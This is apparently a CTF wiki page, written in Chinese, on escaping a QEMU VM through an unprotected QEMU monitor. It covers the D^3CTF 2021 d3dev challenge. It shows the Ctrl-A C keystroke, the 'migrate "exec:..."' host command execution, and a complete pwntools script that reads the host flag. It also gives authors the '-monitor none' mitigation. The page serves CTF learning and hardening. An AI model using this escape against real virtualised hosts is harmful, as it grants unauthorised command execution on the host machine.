Skip to content

利用 QEMU Monitor 读取 flag

Warning

The current page still doesn't have a translation for this language.

You can read it through Google Translate.

Besides, you can also help to translate it: Contributing.

QEMU monitor 是 QEMU 内置的一个交互式控制台窗口,主要用于监控和管理虚拟机的状态。由于 Linux kernel pwn 题目通常使用 QEMU 创建虚拟机环境,因此若是未禁止选手对 QEMU monitor 的访问,则选手可以直接获得整个虚拟机的访问权限。同时,由于 QEMU monitor 支持在 host 侧执行命令,因此也可以直接读取题目环境中的 flag,这同时意味着我们还能可以利用 QEMU monitor 完成虚拟化逃逸。

对于出题人而言,应当时刻保证 QEMU 的参数包含一行 -monitor none 或是 -monitor /dev/null 以确保选手无法访问 QEMU monitor。

通常情况下,进入 QEMU monitor 的方法如下:

  • 首先同时按下 CTRL + A
  • 接下来按 C

使用 pwntools 脚本时,可以通过发送 "\x01c" 完成,例如:

p = remote("localhost", 11451)
p.send(b"\x01c")

在 QEMU monitor 当中有一条比较好用的指令叫做 migrate,其支持我们执行特定的 URI:

(qemu) help migrate
migrate [-d] [-r] uri -- migrate to URI (using -d to not wait for completion)
                         -r to resume a paused postcopy migration

其中,URI 可以是 'exec:<command>'tcp:<ip:port> ,前者支持我们直接在宿主机上执行命令,例如下面的命令在宿主机上执行了 ls 命令:

migrate "exec: sh -c ls"

有的时候可能会由于一些特殊原因遇到没有输出的情况,这个时候可以尝试将 stdout 重定向至 stderr,例如:

(qemu) migrate "exec: whoami"
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) migrate "exec: whoami 1>&2"
arttnba3
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) 

例题: D^3CTF 2021 - d3dev

分析

题目将用于构建远程 docker 环境的文件给了咱们,不难看出题目的核心服务为 launch.sh

$ ls
Dockerfile  README.md  bin  ctf.xinetd  flag  lib  pc-bios  start.sh
$ cat start.sh 
#!/bin/sh
# Add your startup script

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
$ cat ctf.xinetd | grep -i server
    server      = /usr/sbin/chroot
    server_args = --userspec=1000:1000 /home/ctf ./launch.sh

查看 launch.sh ,不难看出题目启动了一个 QEMU 虚拟机环境并加载了一个自定义设备 d3dev ,因此应当是一道 QEMU 逃逸的题目:

$ find . -name launch.sh
./bin/launch.sh
$ ls bin
launch.sh  qemu-system-x86_64  rootfs.img  vmlinuz
$ cat bin/launch.sh 
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

利用

由于出题人在启动脚本里并没有禁用 QEMU monitor,因此我们可以直接通过 QEMU monitor 提供的 migrate 指令直接在 host 侧执行命令,完成虚拟机逃逸:

from pwn import *

def recvuntil_filter(p, target):
    target_len = len(target)
    s = b''
    ignore_next = False
    while True:
        ch = p.recv(1)
        if ignore_next:
            ignore_next = False
            continue

        if ch == b'\x1b':
            ch = p.recv(2)
            if ch == b'[D':
                ignore_next = True
            elif ch == b'[K':
                s = b''
            else:
                print("Unhandled escape sequences : {}".format(ch))
            continue

        if ch[0] < 0x20 or ch[0] > 0x7E:
            continue

        s += ch
        if s[-target_len:] == target:
            return s

def main():
    p = remote("localhost", 5555)
    p.recvuntil(b" $")
    p.send(b"\x01c")
    p.recvuntil(b"monitor - type 'help' for more information")
    p.sendline(b'migrate "exec: cat /flag"')

    flag = recvuntil_filter(p, b'flag{')[-5:]
    flag += recvuntil_filter(p, b'}')
    print(flag.decode())

if __name__ == '__main__':
    main()